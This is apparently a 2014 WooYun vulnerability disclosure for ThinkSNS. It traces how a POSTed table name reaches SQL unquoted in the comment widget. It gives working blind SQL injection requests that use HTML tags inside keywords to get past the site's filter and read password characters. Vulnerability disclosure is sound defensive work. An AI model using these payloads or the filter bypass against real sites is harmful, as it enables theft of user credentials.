当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081752

漏洞标题:ThinkSNS第二弹 - SQL注入

相关厂商:ThinkSNS

漏洞作者: 猪头子

提交时间:2014-11-07 12:16

修复时间:2015-02-05 12:18

公开时间:2015-02-05 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-09: 厂商已经确认,细节仅向厂商公开
2014-11-12: 细节向第三方安全合作伙伴开放
2015-01-03: 细节向核心白帽子及相关领域专家公开
2015-01-13: 细节向普通白帽子公开
2015-01-23: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

ThinkSNS漏洞系列第二弹,某处处理不当导致SQL注入

详细说明:

漏洞点出现在Comment Widget里:
\addons\widget\CommentWidget\CommentWidget.class.php:138

/**
* 添加评论的操作
*
* @return array 评论添加状态和提示信息
*/
public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();
if (! $sourceInfo) {
$return ['status'] = 0;
$return ['data'] = '内容已被删除,评论失败';
exit ( json_encode ( $return ) );
}
... ... ... ... ... ... ...
}


$_POST经过$data [$key] = t( $data [$key] )后成为$data。
然后$dao = M ( $data ['table'] )会实例化一个Model,用于接下来的操作:
\core\OpenSociax\functions.inc.php:431:

//D函数的别名
function M($name='',$app='@') {
return D($name,$app);
}


\core\OpenSociax\functions.inc.php:441:

/**
* D函数用于实例化Model
* @param string name Model名称
* @param string app Model所在项目
* @return object
*/
function D($name='', $app='@', $inclueCommonFunction=true) {
static $_model = array();
if(empty($name)) return new Model;
if(empty($app) || $app=='@') $app = APP_NAME;
$name = ucfirst($name);
if(isset($_model[$app.$name]))
return $_model[$app.$name];
$OriClassName = $name;
$className = $name.'Model';
//优先载入核心的 所以不要和核心的model重名
if(file_exists(ADDON_PATH.'/model/'.$className.'.class.php')){
tsload(ADDON_PATH.'/model/'.$className.'.class.php');
}elseif(file_exists(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php')){
$common = APPS_PATH.'/'.$app.'/Common/common.php';
if(file_exists($common) && $inclueCommonFunction){
tsload($common);
}
tsload(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php');
}
if(class_exists($className)) {
$model = new $className();
}else{
$model = new Model($name);
}
$_model[$app.$OriClassName] = $model;
return $model;
}


若\$className不存在,就实例化Model
\core\OpenSociax\Model.class.php:60

/**
* 架构函数
* 取得DB类的实例对象 字段检查
* @param string $name 模型名称
* @access public
*/
public function __construct($name='')
{
// 模型初始化
$this->_initialize();
// 获取模型名称
if(!empty($name)) {
$this->name = $name;
}elseif(empty($this->name)){
$this->name = $this->getModelName();
}
// 数据库初始化操作
// 获取数据库操作对象
// 当前模型有独立的数据库连接信息
$this->db = Db::getInstance(empty($this->connection)?'':$this->connection);
// 设置表前缀
$this->tablePrefix = $this->tablePrefix?$this->tablePrefix:C('DB_PREFIX');
$this->tableSuffix = $this->tableSuffix?$this->tableSuffix:C('DB_SUFFIX');
// 字段检测
if(!empty($this->name) && $this->autoCheckFields) $this->_checkTableInfo();
//TODO 临时强制要求
if(!empty($this->tableName) && empty($this->fields)) throw_exception('开发阶段,请为你的model填写fields!');
}


最后$this->name = $name将\$_POST['table_name']赋给Model实例的name属性里。
回到最初的addcomment函数,下一步就是用刚实例化的Model查找数据:
$sourceInfo = $dao->where ( $map )->find ()
在查找逻辑里,如果表名不存在,那么就使用name属性的值作表名,而name属性正是\$_POST['table_name'],漏洞就是表名可控。
\core\OpenSociax\Model.class.php:908:

/**
* 得到完整的数据表名
* @access public
* @return string
*/
public function getTableName()
{
if(empty($this->trueTableName)) {
$tableName = !empty($this->tablePrefix) ? $this->tablePrefix : '';
if(!empty($this->tableName)) {
$tableName .= $this->tableName;
}else{
$tableName .= parse_name($this->name);
}
$tableName .= !empty($this->tableSuffix) ? $this->tableSuffix : '';
if(!empty($this->dbName))
$tableName = $this->dbName.'.'.$tableName;
$this->trueTableName = strtolower($tableName);
}
return $this->trueTableName;
}


由于ThinkSNS前台有WAF,因此需要结合t()来绕过:
\core\OpenSociax\functions.inc.php:630

/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}


经过t()的变量都会过real_strip_tags($text):
\core\OpenSociax\functions.inc.php:2274

function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}


而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。

漏洞证明:

直接基于内容的SQL注入就好,POST请求都要带上正确的referer。

POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>0,/**/1,0);-- -&content=test&row_id=1&app_detail_summary=


2.jpg


POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>100,/**/1,0);-- -&content=test&row_id=1&app_detail_summary=


3.jpg

修复方案:

在SQL查询参数周围加入单引号

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-09 15:44

厂商回复:

非常感谢,都是strip_tags引起的漏洞.

最新状态:

暂无


漏洞评价:

评论